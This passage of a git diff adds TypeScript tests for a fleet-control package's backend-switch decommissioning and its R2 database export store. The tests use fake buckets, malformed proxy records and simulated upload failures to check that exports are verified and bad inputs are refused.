+          evidenceSha256: 'a'.repeat(64),
+          evidenceCount: 2,
+          providerFetchAttemptsReserved: 3,
+        };
+      },
+      async exportSwitchDatabaseReceipt() {
+        receiptCalls += 1;
+        return databaseExport;
+      },
+      async getSwitchDatabase(databaseId: string) {
+        return databasePresent && databaseId === current.databaseId
+          ? {
+              id: current.databaseId,
+              name: current.databaseName,
+              created: false as const,
+            }
+          : undefined;
+      },
+      async readSwitchDatabaseOwner() {
+        return current.tenantTag;
+      },
+      async assertSwitchDatabaseDeletionResidualsRemoved() {},
+      async deleteSwitchDatabaseBounded() {
+        boundedDeleteCalls += 1;
+        databasePresent = false;
+      },
+      async exportSwitchDatabase() {
+        legacyExportCalls += 1;
+        return databaseExport;
+      },
+      async deleteSwitchDatabase() {
+        legacyDeleteCalls += 1;
+      },
+    } as unknown as BackendSwitchProvider;
+    const activeRecord = harness.store.record as FleetRecord;
+    const rejectedAudit = vi.fn();
+    const missingProviderStore = new MemoryStore();
+    missingProviderStore.record = activeRecord;
+    await expect(
+      decommissionDeployment({
+        backend: providerTrap,
+        store: missingProviderStore,
+        spec: harness.deployment,
+        audit: rejectedAudit,
+      }),
+    ).rejects.toThrow(
+      'active backend switch decommission requires its dedicated provider and both specifications',
+    );
+    const partialStore = new MemoryStore();
+    partialStore.record = activeRecord;
+    await expect(
+      decommissionDeployment({
+        backend: providerTrap,
+        store: partialStore,
+        spec: harness.deployment,
+        audit: rejectedAudit,
+        backendSwitch: {
+          provider: {
+            advanceSwitchDecommissionAttachmentScan:
+              boundedProvider.advanceSwitchDecommissionAttachmentScan,
+            databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+          } as unknown as BackendSwitchProvider,
+          priorSpec,
+          targetSpec: harness.deployment,
+        },
+      }),
+    ).rejects.toThrow('database export receipt capability is malformed');
+    expect(rejectedAudit).not.toHaveBeenCalled();
+
+    let backendSwitchGetterCalls = 0;
+    const accessorRecord = { ...activeRecord };
+    Object.defineProperty(accessorRecord, 'backendSwitchIntent', {
+      configurable: true,
+      enumerable: true,
+      get() {
+        backendSwitchGetterCalls += 1;
+        return activeRecord.backendSwitchIntent;
+      },
+    });
+    const hidingProxy = new Proxy(activeRecord, {
+      ownKeys(target) {
+        return Reflect.ownKeys(target).filter(
+          (key) => key !== 'backendSwitchIntent',
+        );
+      },
+    });
+    let revokeAfterResolution = () => {};
+    const revoked = Proxy.revocable(activeRecord, {
+      get(target, property, receiver) {
+        if (property === 'then') {
+          queueMicrotask(revokeAfterResolution);
+          return undefined;
+        }
+        return Reflect.get(target, property, receiver);
+      },
+    });
+    revokeAfterResolution = revoked.revoke;
+    const {
+      backendSwitchIntent: _removedSwitchIntent,
+      ...backendShellWithoutSwitch
+    } = activeRecord;
+    const hostileRows = [
+      ['accessor', accessorRecord],
+      ['symbol', { ...activeRecord, [Symbol('hostile')]: true }],
+      ['transparent proxy', new Proxy(activeRecord, {})],
+      ['hiding proxy', hidingProxy],
+      ['revoked proxy', revoked.proxy],
+      ['backend shell without switch', backendShellWithoutSwitch],
+    ] as const;
+    for (const [label, hostile] of hostileRows) {
+      const hostileStore = new MemoryStore();
+      hostileStore.record = hostile as FleetRecord;
+      await expect(
+        decommissionDeployment({
+          backend: providerTrap,
+          store: hostileStore,
+          spec: harness.deployment,
+          audit: rejectedAudit,
+        }),
+        label,
+      ).rejects.toThrow('backend switch decommission record is malformed');
+      expect(hostileStore.leaseCalls, label).toBe(0);
+    }
+    expect(backendSwitchGetterCalls).toBe(0);
+    expect(scanCalls).toBe(0);
+    expect(receiptCalls).toBe(0);
+    expect(boundedDeleteCalls).toBe(0);
+    expect(rejectedAudit).not.toHaveBeenCalled();
+
+    const boundedResult = await decommissionDeployment({
+      backend: providerTrap,
+      store: harness.store,
+      spec: harness.deployment,
+      audit,
+      backendSwitch: {
+        provider: boundedProvider,
+        priorSpec,
+        targetSpec: harness.deployment,
+      },
+    });
+    expect(boundedResult).toEqual({
+      record: harness.store.record,
+      databaseExport,
+    });
+    expect(audit).toHaveBeenCalledTimes(1);
+    expect(scanCalls).toBe(4);
+    expect(receiptCalls).toBe(1);
+    expect(boundedDeleteCalls).toBe(1);
+    expect(legacyExportCalls).toBe(0);
+    expect(legacyDeleteCalls).toBe(0);
+
+    const auditFailure = new Error('backend-switch audit rejected');
+    await expect(
+      decommissionDeployment({
+        backend: providerTrap,
+        store: harness.store,
+        spec: harness.deployment,
+        audit: () => Promise.reject(auditFailure),
+      }),
+    ).rejects.toBe(auditFailure);
+
+    const legacyStore = new MemoryStore();
+    legacyStore.record = {
+      ...(JSON.parse(JSON.stringify(current)) as FleetRecord),
+      backendSwitchIntent: {
+        kind: 'backend-switch',
+        tenantTag: current.tenantTag,
+        environment: current.environment,
+        prior,
+        targetSpecDigest: current.desiredSpecDigest,
+        targetApplication: current.applicationBindings ?? {
+          vars: [],
+          secrets: [],
+          r2Buckets: [],
+        },
+        target: current.platformTarget,
+        rollbackUntil: '2026-09-30T00:00:00.000Z',
+        subphase: 'decommission-exported',
+        databaseExport,
+        applicationR2Progress: [],
+        decommissionSnapshot: {
+          routeHostname: current.routeHostname,
+          routeTargets: [],
+          desiredSpecDigest: current.desiredSpecDigest,
+          target: current.platformTarget,
+          releases: [],
+          applicationResources: [],
+        },
+      },
+    };
+    databasePresent = true;
+    const lateGetter = vi.fn(() => {
+      throw new Error('legacy late row read a bounded capability');
+    });
+    const legacyProvider = new Proxy(boundedProvider, {
+      get(target, property, receiver) {
+        if (
+          property === 'advanceSwitchDecommissionAttachmentScan' ||
+          property === 'databaseExportReceiptAuthority' ||
+          property === 'exportSwitchDatabaseReceipt'
+        ) {
+          return lateGetter();
+        }
+        return Reflect.get(target, property, receiver);
+      },
+    });
+    const legacyAudit = vi.fn();
+    const legacyResult = await decommissionDeployment({
+      backend: providerTrap,
+      store: legacyStore,
+      spec: harness.deployment,
+      audit: legacyAudit,
+      backendSwitch: {
+        provider: legacyProvider,
+        priorSpec,
+        targetSpec: harness.deployment,
+      },
+    });
+    expect(legacyResult).toEqual({
+      record: legacyStore.record,
+      databaseExport,
+    });
+    expect(lateGetter).not.toHaveBeenCalled();
+    expect(legacyAudit).toHaveBeenCalledTimes(1);
+    expect(legacyExportCalls).toBe(0);
+    expect(legacyDeleteCalls).toBe(1);
+
+    const malformed = harness.store.record;
+    harness.store.record = {
+      ...malformed,
+      backendSwitchIntent: undefined,
+    };
+    await expect(
+      decommissionDeployment({
+        backend: providerTrap,
+        store: harness.store,
+        spec: harness.deployment,
+      }),
+    ).rejects.toThrow('backend switch decommission record is malformed');
   });
 });
diff --git a/packages/fleet-control/test/r2-export-store.harness.test.ts b/packages/fleet-control/test/r2-export-store.harness.test.ts
new file mode 100644
index 00000000..49cecde8
--- /dev/null
+++ b/packages/fleet-control/test/r2-export-store.harness.test.ts
@@ -0,0 +1,169 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { afterAll, beforeAll, describe, expect, it } from 'vitest';
+import {
+  createTestHarness,
+  type TestHarness,
+  type WorkerHandle,
+} from 'wrangler';
+
+const ROOT = new URL('..', import.meta.url).pathname;
+const PROBE = new URL('./fixtures/r2-export-harness-probe.ts', import.meta.url)
+  .pathname;
+
+function harnessOptions() {
+  return {
+    root: ROOT,
+    workers: [
+      {
+        config: {
+          name: 'r2-export-harness-probe',
+          main: PROBE,
+          compatibility_date: '2026-08-06',
+          r2_buckets: [
+            {
+              binding: 'EXPORTS',
+              bucket_name: 'fleet-r2-export-harness',
+            },
+          ],
+        },
+      },
+    ],
+  } satisfies Parameters<typeof createTestHarness>[0];
+}
+
+function field(value: unknown, name: string): unknown {
+  if (typeof value !== 'object' || value === null) {
+    throw new Error('probe returned a non-object response');
+  }
+  return Reflect.get(value, name);
+}
+
+describe.sequential('R2DatabaseExportStore Wrangler harness', {
+  // The hooks below repeat this value because hooks take vitest's
+  // hookTimeout, not this option; every title inherits it.
+  timeout: 30_000,
+}, () => {
+  let server: TestHarness;
+  let worker: WorkerHandle;
+
+  beforeAll(async () => {
+    server = createTestHarness(harnessOptions());
+    await server.listen();
+    worker = server.getWorker();
+  }, 30_000);
+
+  afterAll(async () => {
+    await server.close();
+  }, 30_000);
+
+  async function probe(action: string): Promise<unknown> {
+    const response = await worker.fetch('/r2-export', {
+      method: 'POST',
+      headers: { 'content-type': 'application/json' },
+      body: JSON.stringify({ action }),
+    });
+    const body: unknown = await response.json();
+    if (!response.ok) {
+      throw new Error(`probe failed: ${JSON.stringify(body)}`);
+    }
+    return body;
+  }
+
+  it('streams and independently verifies a deterministic large export', async () => {
+    const result = await probe('success');
+    expect(result).toMatchObject({
+      size: 1_048_576,
+      bytesEqual: true,
+      objectSize: 1_048_576,
+      cleaned: true,
+    });
+    expect(field(result, 'location')).toMatch(
+      /^r2:\/\/exports\/exports\/success-db\/.+-export\.sqlite3$/,
+    );
+    expect(field(result, 'sha256')).toMatch(/^[0-9a-f]{64}$/);
+    expect(field(result, 'readbackSha256')).toBe(field(result, 'sha256'));
+  });
+
+  it('refuses an empty export without creating an object', async () => {
+    await expect(probe('empty')).resolves.toEqual({
+      message: 'R2 export refuses an empty body',
+      objectCount: 0,
+    });
+  });
+
+  it('rejects a short body without leaving an object', async () => {
+    await expect(probe('short')).resolves.toEqual({
+      message: 'R2 export upload failed',
+      objectCount: 0,
+    });
+  });
+
+  it('rejects a mid-transfer source error without leaving an object', async () => {
+    await expect(probe('mid-transfer-error')).resolves.toEqual({
+      message: 'R2 export upload failed',
+      objectCount: 0,
+      pullCount: 2,
+      bytesEnqueued: 4096,
+    });
+  });
+
+  it('preserves the winner of a conditional collision', async () => {
+    const result = await probe('collision');
+    expect(result).toMatchObject({
+      fulfilled: 1,
+      rejected: 1,
+      message: 'R2 export key already exists',
+      objectSurvived: true,
+      cleaned: true,
+    });
+    expect(['first', 'second']).toContain(field(result, 'winner'));
+  });
+
+  it('replays one stable receipt without creating another R2 object', async () => {
+    const result = await probe('receipt-replay');
+    expect(result).toMatchObject({
+      sameResult: true,
+      objectCount: 1,
+      bytesEqual: true,
+      cleaned: true,
+      customMetadata: {
+        anchorageReceiptVersion: '1',
+        anchorageReceiptAuthority: 'r2://exports/exports/receipts/v1',
+        anchorageDatabaseId: '11111111-1111-1111-1111-111111111111',
+        anchorageOperationId: '22222222-2222-4222-8222-222222222222',
+      },
+    });
+    expect(field(result, 'location')).toBe(
+      'r2://exports/exports/receipts/v1/11111111-1111-1111-1111-111111111111/22222222-2222-4222-8222-222222222222.sql',
+    );
+  });
+
+  it('converges matching concurrent receipt attempts to one winner', async () => {
+    const result = await probe('receipt-concurrent');
+    expect(result).toMatchObject({
+      sameResult: true,
+      objectCount: 1,
+      bytesEqual: true,
+      cleaned: true,
+    });
+    expect(field(result, 'location')).toBe(
+      'r2://exports/exports/receipts/v1/11111111-1111-1111-1111-111111111111/33333333-3333-4333-8333-333333333333.sql',
+    );
+  });
+
+  it('preserves and refuses a same-operation receipt with different bytes', async () => {
+    const result = await probe('receipt-mismatch');
+    expect(result).toMatchObject({
+      message:
+        'database export receipt collision differs from the committed export',
+      objectCount: 1,
+      winnerPreserved: true,
+      challengerRejected: true,
+      cleaned: true,
+    });
+    expect(field(result, 'location')).toBe(
+      'r2://exports/exports/receipts/v1/11111111-1111-1111-1111-111111111111/44444444-4444-4444-8444-444444444444.sql',
+    );
+  });
+});
diff --git a/packages/fleet-control/test/r2-export-store.test.ts b/packages/fleet-control/test/r2-export-store.test.ts
new file mode 100644
index 00000000..1dd4fe57
--- /dev/null
+++ b/packages/fleet-control/test/r2-export-store.test.ts
@@ -0,0 +1,2206 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import type { StreamPipeOptions } from 'node:stream/web';
+import type {
+  R2Bucket,
+  R2Conditional,
+  R2GetOptions,
+  R2MultipartOptions,
+  R2MultipartUpload,
+  R2Object,
+  R2ObjectBody,
+  R2Objects,
+  R2PutOptions,
+  ReadableStream as WorkerReadableStream,
+  WritableStream as WorkerWritableStream,
+} from '@cloudflare/workers-types';
+import { describe, expect, it } from 'vitest';
+import type { DurableDatabaseExportStore } from '../src/database-export-store.js';
+import { R2DatabaseExportStore } from '../src/r2-export-store.js';
+import type {
+  DatabaseExportIntegrity,
+  DatabaseExportReceiptIdentity,
+} from '../src/types.js';
+import {
+  NodeDigestStream,
+  NodeFixedLengthStream,
+  nodeWorkerStreams,
+} from './fixtures/worker-streams.js';
+
+type PutValue = Parameters<R2Bucket['put']>[1];
+
+type PutMode =
+  | 'normal'
+  | 'reject-before'
+  | 'reject-after-commit'
+  | 'reject-mid'
+  | 'size-mismatch'
+  | 'null-before-read';
+type GetMode =
+  | 'normal'
+  | 'null'
+  | 'get-reject'
+  | 'size-mismatch'
+  | 'tamper'
+  | 'short'
+  | 'read-error';
+
+function exactly(message: string): RegExp {
+  return new RegExp(`^${message.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}$`);
+}
+
+function bytes(...values: number[]): Uint8Array {
+  return Uint8Array.from(values);
+}
+
+function streamFrom(
+  value: Uint8Array,
+  options: {
+    readonly errorAfter?: number;
+    readonly stayOpen?: boolean;
+    readonly rejectCancel?: boolean;
+  } = {},
+): {
+  readonly body: ReadableStream<Uint8Array>;
+  readonly cancellations: unknown[];
+  readonly error: Error;
+} {
+  const cancellations: unknown[] = [];
+  const error = new Error('scripted source failure');
+  const cancelError = new Error('scripted cancel failure');
+  let offset = 0;
+  const body = new ReadableStream<Uint8Array>({
+    pull(controller) {
+      if (options.errorAfter !== undefined && offset >= options.errorAfter) {
+        controller.error(error);
+        return;
+      }
+      if (offset < value.byteLength) {
+        const end = Math.min(offset + 2, value.byteLength);
+        controller.enqueue(value.slice(offset, end));
+        offset = end;
+        return;
+      }
+      if (!options.stayOpen) controller.close();
+    },
+    cancel(reason) {
+      cancellations.push(reason);
+      if (options.rejectCancel) throw cancelError;
+    },
+  });
+  return { body, cancellations, error };
+}
+
+function workerStreamFrom(
+  value: Uint8Array,
+  error?: Error,
+): WorkerReadableStream<Uint8Array> {
+  const fixed = new nodeWorkerStreams.FixedLengthStream(value.byteLength);
+  const source = new ReadableStream<Uint8Array>({
+    start(controller) {
+      if (value.byteLength > 0) controller.enqueue(value);
+      if (error === undefined) controller.close();
+      else controller.error(error);
+    },
+  });
+  void source.pipeTo(fixed.writable).catch(() => undefined);
+  return fixed.readable;
+}
+
+function metadata(
+  key: string,
+  size: number,
+  customMetadata?: Record<string, string>,
+) {
+  return {
+    key,
+    version: '1',
+    size,
+    etag: 'etag',
+    httpEtag: '"etag"',
+    checksums: { toJSON: () => ({}) },
+    uploaded: new Date(0),
+    storageClass: 'Standard',
+    ...(customMetadata === undefined ? {} : { customMetadata }),
+    writeHttpMetadata() {},
+  } satisfies R2Object;
+}
+
+function objectBody(
+  key: string,
+  reportedSize: number,
+  bodyBytes: Uint8Array,
+  customMetadata?: Record<string, string>,
+  readError?: Error,
+): R2ObjectBody {
+  return {
+    ...metadata(key, reportedSize, customMetadata),
+    body: workerStreamFrom(bodyBytes, readError),
+    bodyUsed: false,
+    async arrayBuffer() {
+      throw new Error('unused fake arrayBuffer');
+    },
+    async bytes() {
+      throw new Error('unused fake bytes');
+    },
+    async text() {
+      throw new Error('unused fake text');
+    },
+    async json<T>(): Promise<T> {
+      throw new Error('unused fake json');
+    },
+    async blob() {
+      throw new Error('unused fake blob');
+    },
+  };
+}
+
+function isReadable(
+  value: PutValue,
+): value is WorkerReadableStream<Uint8Array> {
+  return (
+    typeof value === 'object' &&
+    value !== null &&
+    'getReader' in value &&
+    typeof value.getReader === 'function'
+  );
+}
+
+class FakeR2Bucket implements R2Bucket {
+  readonly objects = new Map<string, Uint8Array>();
+  readonly customMetadata = new Map<string, Record<string, string>>();
+  readonly deleteCalls: string[] = [];
+  getCalls = 0;
+  putCalls = 0;
+  onPut: (() => void) | undefined;
+  transformPutResult: ((object: R2Object) => R2Object) | undefined;
+  transformGetResult: ((object: R2ObjectBody) => R2ObjectBody) | undefined;
+  putMode: PutMode = 'normal';
+  putResolveAfterBytes: number | undefined;
+  getMode: GetMode = 'normal';
+  deleteError: Error | undefined;
+  readonly putError = new Error('scripted put failure');
+  readonly readError = new Error('scripted readback failure');
+
+  async head(_key: string): Promise<R2Object | null> {
+    throw new Error('unused fake head');
+  }
+
+  get(
+    key: string,
+    options: R2GetOptions & { onlyIf: R2Conditional | Headers },
+  ): Promise<R2ObjectBody | R2Object | null>;
+  get(key: string, options?: R2GetOptions): Promise<R2ObjectBody | null>;
+  async get(
+    key: string,
+    _options?: R2GetOptions,
+  ): Promise<R2ObjectBody | null> {
+    this.getCalls += 1;
+    if (this.getMode === 'get-reject') throw this.readError;
+    if (this.getMode === 'null') return null;
+    const stored = this.objects.get(key);
+    if (stored === undefined) return null;
+    const reportedSize =
+      this.getMode === 'size-mismatch'
+        ? stored.byteLength + 1
+        : stored.byteLength;
+    const bodyBytes =
+      this.getMode === 'tamper'
+        ? Uint8Array.from(stored, (byte) => byte ^ 0xff)
+        : this.getMode === 'short'
+          ? stored.slice(0, -1)
+          : stored;
+    const result = objectBody(
+      key,
+      reportedSize,
+      bodyBytes,
+      this.customMetadata.get(key),
+      this.getMode === 'read-error' ? this.readError : undefined,
+    );
+    return this.transformGetResult?.(result) ?? result;
+  }
+
+  put(
+    key: string,
+    value: PutValue,
+    options: R2PutOptions & { onlyIf: R2Conditional | Headers },
+  ): Promise<R2Object | null>;
+  put(key: string, value: PutValue, options?: R2PutOptions): Promise<R2Object>;
+  async put(
+    key: string,
+    value: PutValue,
+    options?: R2PutOptions,
+  ): Promise<R2Object | null> {
+    this.putCalls += 1;
+    this.onPut?.();
+    if (!isReadable(value)) throw new Error('fake expects a readable stream');
+    if (this.putMode === 'null-before-read') return null;
+    if (this.putMode === 'reject-before') throw this.putError;
+    const reader = value.getReader();
+    const chunks: Uint8Array[] = [];
+    let size = 0;
+    for (;;) {
+      const chunk = await reader.read();
+      if (chunk.done) break;
+      chunks.push(chunk.value.slice());
+      size += chunk.value.byteLength;
+      if (
+        this.putResolveAfterBytes !== undefined &&
+        size >= this.putResolveAfterBytes
+      ) {
+        const result = combineChunks(chunks, size);
+        reader.releaseLock();
+        this.objects.set(key, result);
+        const customMetadata = options?.customMetadata;
+        if (customMetadata !== undefined) {
+          this.customMetadata.set(key, { ...customMetadata });
+        }
+        const object = metadata(key, size, this.customMetadata.get(key));
+        return this.transformPutResult?.(object) ?? object;
+      }
+      if (this.putMode === 'reject-mid') {
+        await reader.cancel(this.putError);
+        throw this.putError;
+      }
+    }
+    const result = combineChunks(chunks, size);
+    const onlyIf = options?.onlyIf;
+    const conditional =
+      onlyIf !== undefined &&
+      !(onlyIf instanceof Headers) &&
+      'etagDoesNotMatch' in onlyIf
+        ? onlyIf.etagDoesNotMatch
+        : undefined;
+    if (conditional === '*' && this.objects.has(key)) return null;
+    this.objects.set(key, result);
+    const customMetadata = options?.customMetadata;
+    if (customMetadata !== undefined) {
+      this.customMetadata.set(key, { ...customMetadata });
+    }
+    const object = metadata(
+      key,
+      this.putMode === 'size-mismatch' ? size + 1 : size,
+      this.customMetadata.get(key),
+    );
+    if (this.putMode === 'reject-after-commit') throw this.putError;
+    return this.transformPutResult?.(object) ?? object;
+  }
+
+  async delete(keys: string | string[]): Promise<void> {
+    if (this.deleteError !== undefined) throw this.deleteError;
+    const values = typeof keys === 'string' ? [keys] : keys;
+    for (const key of values) {
+      this.deleteCalls.push(key);
+      this.objects.delete(key);
+      this.customMetadata.delete(key);
+    }
+  }
+
+  async list(): Promise<R2Objects> {
+    throw new Error('unused fake list');
+  }
+
+  async createMultipartUpload(
+    _key: string,
+    _options?: R2MultipartOptions,
+  ): Promise<R2MultipartUpload> {
+    throw new Error('unused fake multipart upload');
+  }
+
+  resumeMultipartUpload(_key: string, _uploadId: string): R2MultipartUpload {
+    throw new Error('unused fake multipart upload');
+  }
+}
+
+function combineChunks(
+  chunks: readonly Uint8Array[],
+  size: number,
+): Uint8Array {
+  const result = new Uint8Array(size);
+  let offset = 0;
+  for (const chunk of chunks) {
+    result.set(chunk, offset);
+    offset += chunk.byteLength;
+  }
+  return result;
+}
+
+function throwingProperty<T extends object, K extends keyof T>(
+  value: T,
+  property: K,
+  error: Error,
+): T {
+  return Object.defineProperty({ ...value }, property, {
+    configurable: true,
+    enumerable: true,
+    get(): never {
+      throw error;
+    },
+  }) as T;
+}
+
+function createStore(
+  bucket: R2Bucket,
+  options: {
+    readonly bucketName?: string;
+    readonly keyPrefix?: string;
+    readonly randomUUID?: () => string;
+    readonly streams?: typeof nodeWorkerStreams;
+  } = {},
+): R2DatabaseExportStore {
+  return new R2DatabaseExportStore({
+    bucket,
+    bucketName: options.bucketName ?? 'exports',
+    keyPrefix: options.keyPrefix,
+    randomUUID: options.randomUUID ?? (() => 'uuid-1'),
+    streams: options.streams ?? nodeWorkerStreams,
+  });
+}
+
+const RECEIPT_DATABASE_ID = '11111111-1111-1111-1111-111111111111';
+const RECEIPT_OPERATION_ID = '22222222-2222-4222-8222-222222222222';
+
+function integrityOf(value: Uint8Array): DatabaseExportIntegrity {
+  return {
+    size: value.byteLength,
+    sha256: createHash('sha256').update(value).digest('hex'),
+  };
+}
+
+async function integrityOfBody(
+  body: ReadableStream<Uint8Array>,
+): Promise<DatabaseExportIntegrity> {
+  const reader = body.getReader();
+  const hash = createHash('sha256');
+  let size = 0;
+  try {
+    for (;;) {
+      const chunk = await reader.read();
+      if (chunk.done) break;
+      hash.update(chunk.value);
+      size += chunk.value.byteLength;
+    }
+  } finally {
+    reader.releaseLock();
+  }
+  return { size, sha256: hash.digest('hex') };
+}
+
+function receiptIdentity(
+  store: R2DatabaseExportStore,
+  override: Partial<DatabaseExportReceiptIdentity> = {},
+): DatabaseExportReceiptIdentity {
+  return {
+    version: 1,
+    authority: store.receiptAuthority,
+    databaseId: RECEIPT_DATABASE_ID,
+    operationId: RECEIPT_OPERATION_ID,
+    ...override,
+  };
+}
+
+function receiptMetadataFor(
+  identity: DatabaseExportReceiptIdentity,
+): Record<string, string> {
+  return {
+    anchorageReceiptVersion: '1',
+    anchorageReceiptAuthority: identity.authority,
+    anchorageDatabaseId: identity.databaseId,
+    anchorageOperationId: identity.operationId,
+  };
+}
+
+function receiptKey(prefix = ''): string {
+  return `${prefix}receipts/v1/${RECEIPT_DATABASE_ID}/${RECEIPT_OPERATION_ID}.sql`;
+}
+
+function seedReceipt(
+  bucket: FakeR2Bucket,
+  store: R2DatabaseExportStore,
+  value: Uint8Array,
+  metadataOverride?: Record<string, string>,
+): void {
+  const key = receiptKey();
+  bucket.objects.set(key, value.slice());
+  bucket.customMetadata.set(
+    key,
+    metadataOverride ?? receiptMetadataFor(receiptIdentity(store)),
+  );
+}
+
+function writeReceipt(
+  store: R2DatabaseExportStore,
+  value: Uint8Array,
+  options: {
+    readonly identity?: DatabaseExportReceiptIdentity;
+    readonly expectedIntegrity?: Promise<DatabaseExportIntegrity>;
+    readonly contentLength?: number;
+    readonly body?: ReadableStream<Uint8Array>;
+  } = {},
+) {
+  return store.writeReceipt({
+    identity: options.identity ?? receiptIdentity(store),
+    body: options.body ?? streamFrom(value).body,
+    contentLength: options.contentLength ?? value.byteLength,
+    expectedIntegrity:
+      options.expectedIntegrity ?? Promise.resolve(integrityOf(value)),
+  });
+}
+
+async function rejection(
+  operation: Promise<unknown>,
+  message: string,
+): Promise<Error> {
+  const state = await Promise.allSettled([operation]);
+  expect(state[0].status).toBe('rejected');
+  if (state[0].status === 'fulfilled') throw new Error('expected rejection');
+  expect(state[0].reason).toBeInstanceOf(Error);
+  if (!(state[0].reason instanceof Error)) throw new Error('expected Error');
+  expect(state[0].reason.message).toMatch(exactly(message));
+  return state[0].reason;
+}
+
+async function within<T>(operation: Promise<T>, message: string): Promise<T> {
+  let timer: ReturnType<typeof setTimeout> | undefined;
+  try {
+    return await Promise.race([
+      operation,
+      new Promise<never>((_, reject) => {
+        timer = setTimeout(() => reject(new Error(message)), 250);
+      }),
+    ]);
+  } finally {
+    clearTimeout(timer);
+  }
+}
+
+describe('Node Worker stream fixtures', () => {
+  it('keeps the digest pending until close and counts bytes', async () => {
+    const digest = new NodeDigestStream('SHA-256');
+    let settled = false;
+    void digest.digest.then(() => {
+      settled = true;
+    });
+    expect(Number(digest.bytesWritten)).toBe(0);
+    const writer = digest.getWriter();
+    await writer.write(bytes(1, 2, 3));
+    expect(Number(digest.bytesWritten)).toBe(3);
+    expect(settled).toBe(false);
+    await writer.close();
+    await expect(digest.digest).resolves.toBeInstanceOf(ArrayBuffer);
+    expect(Number(digest.bytesWritten)).toBe(3);
+  });
+
+  it('rejects the digest after abort', async () => {
+    const digest = new NodeDigestStream('SHA-256');
+    const failure = new Error('abort');
+    await digest.abort(failure);
+    await expect(digest.digest).rejects.toBe(failure);
+  });
+
+  it('errors both fixed-length halves for short and long sources', async () => {
+    for (const [expected, value] of [
+      [4, bytes(1, 2)],
+      [1, bytes(1, 2)],
+    ] satisfies readonly (readonly [number, Uint8Array])[]) {
+      const fixed = new NodeFixedLengthStream(expected);
+      const source = streamFrom(value).body;
+      const reader = fixed.readable.getReader();
+      const reads = (async () => {
+        for (;;) {
+          const chunk = await reader.read();
+          if (chunk.done) return;
+        }
+      })();
+      const states = await Promise.allSettled([
+        source.pipeTo(fixed.writable),
+        reads,
+      ]);
+      expect(states.map((state) => state.status)).toEqual([
+        'rejected',
+        'rejected',
+      ]);
+    }
+  });
+});
+
+describe('R2DatabaseExportStore', () => {
+  it('streams bytes, returns the location, and hashes the readback', async () => {
+    const bucket = new FakeR2Bucket();
+    const source = bytes(1, 2, 3, 4, 5);
+    const result = await createStore(bucket).write({
+      databaseId: 'db-1',
+      fileName: 'backup.sqlite3',
+      body: streamFrom(source).body,
+      contentLength: source.byteLength,
+    });
+    expect(result).toEqual({
+      location: 'r2://exports/db-1/uuid-1-backup.sqlite3',
+      size: source.byteLength,
+      sha256: createHash('sha256').update(source).digest('hex'),
+    });
+    expect(bucket.objects.get('db-1/uuid-1-backup.sqlite3')).toEqual(source);
+    expect(result.sha256).toMatch(/^[0-9a-f]{64}$/);
+  });
+
+  it('hashes same-length committed tampering from the readback', async () => {
+    const bucket = new FakeR2Bucket();
+    bucket.getMode = 'tamper';
+    const source = bytes(1, 2, 3, 4);
+    const result = await createStore(bucket).write({
+      databaseId: 'db',
+      fileName: 'x.db',
+      body: streamFrom(source).body,
+      contentLength: source.byteLength,
+    });
+    const tampered = Uint8Array.from(source, (byte) => byte ^ 0xff);
+    expect(result.sha256).toBe(
+      createHash('sha256').update(tampered).digest('hex'),
+    );
+    expect(result.sha256).not.toBe(
+      createHash('sha256').update(source).digest('hex'),
+    );
+  });
+
+  it('refuses invalid lengths, calls cancel, and starts no put', async () => {
+    for (const [contentLength, message] of [
+      [undefined, 'R2 export requires a known contentLength'],
+      [0, 'R2 export refuses an empty body'],
+      [-1, 'R2 export contentLength must be a positive safe integer'],
+      [1.5, 'R2 export contentLength must be a positive safe integer'],
+      [
+        Number.MAX_SAFE_INTEGER + 1,
+        'R2 export contentLength must be a positive safe integer',
+      ],
+    ] satisfies readonly (readonly [number | undefined, string])[]) {
+      const bucket = new FakeR2Bucket();
+      const source = streamFrom(bytes(1), { stayOpen: true });
+      await rejection(
+        createStore(bucket).write({
+          databaseId: 'db',
+          fileName: 'x.db',
+          body: source.body,
+          contentLength,
+        }),
+        message,
+      );
+      expect(source.cancellations).toHaveLength(1);
+      expect(bucket.objects).toHaveLength(0);
+      expect(bucket.putCalls).toBe(0);
+    }
+  });
+
+  it('returns an absent-length refusal while a tee sibling remains unread', async () => {
+    const source = streamFrom(bytes(1), { stayOpen: true }).body;
+    const [body] = source.tee();
+    const bucket = new FakeR2Bucket();
+    await expect(
+      // The race pins the message on the fast path; a suite timeout cannot.
+      Promise.race([
+        createStore(bucket).write({
+          databaseId: 'db',
+          fileName: 'x.db',
+          body,
+        }),
+        new Promise((_, reject) =>
+          setTimeout(() => reject(new Error('refusal timeout')), 100),
+        ),
+      ]),
+    ).rejects.toThrow(exactly('R2 export requires a known contentLength'));
+    expect(bucket.putCalls).toBe(0);
+  });
+
+  it('cancels on UUID and fixed-stream construction failures', async () => {
+    const uuidError = new Error('uuid failed');
+    const cases: readonly (readonly [
+      (bucket: FakeR2Bucket) => R2DatabaseExportStore,
+      string,
+    ])[] = [
+      [
+        (bucket) =>
+          createStore(bucket, {
+            randomUUID: () => {
+              throw uuidError;
+            },
+          }),
+        'uuid failed',
+      ],
+      [
+        (bucket) => createStore(bucket, { randomUUID: () => '../bad' }),
+        'R2 export key component must be one portable path segment',
+      ],
+      [
+        (bucket) =>
+          createStore(bucket, {
+            streams: {
+              ...nodeWorkerStreams,
+              FixedLengthStream: class {
+                declare readonly readable: WorkerReadableStream<Uint8Array>;
+                declare readonly writable: WorkerWritableStream<Uint8Array>;
+
+                constructor(_expectedLength: number) {
+                  throw new Error('fixed failed');
+                }
+              },
+            },
+          }),
+        'fixed failed',
+      ],
+    ];
+    for (const [makeStore, message] of cases) {
+      const bucket = new FakeR2Bucket();
+      const source = streamFrom(bytes(1), { stayOpen: true });
+      await rejection(
+        makeStore(bucket).write({
+          databaseId: 'db',
+          fileName: 'x.db',
+          body: source.body,
+          contentLength: 1,
+        }),
+        message,
+      );
+      expect(source.cancellations).toHaveLength(1);
+      expect(bucket.putCalls).toBe(0);
+    }
+  });
+
+  it('cancels before upload when a fixed stream half getter throws', async () => {
+    for (const property of [
+      'readable',
+      'writable',
+    ] satisfies readonly (keyof NodeFixedLengthStream)[]) {
+      const sentinel = new Error(`${property} getter failed`);
+      class ThrowingFixedLengthStream {
+        readonly #fixed: InstanceType<
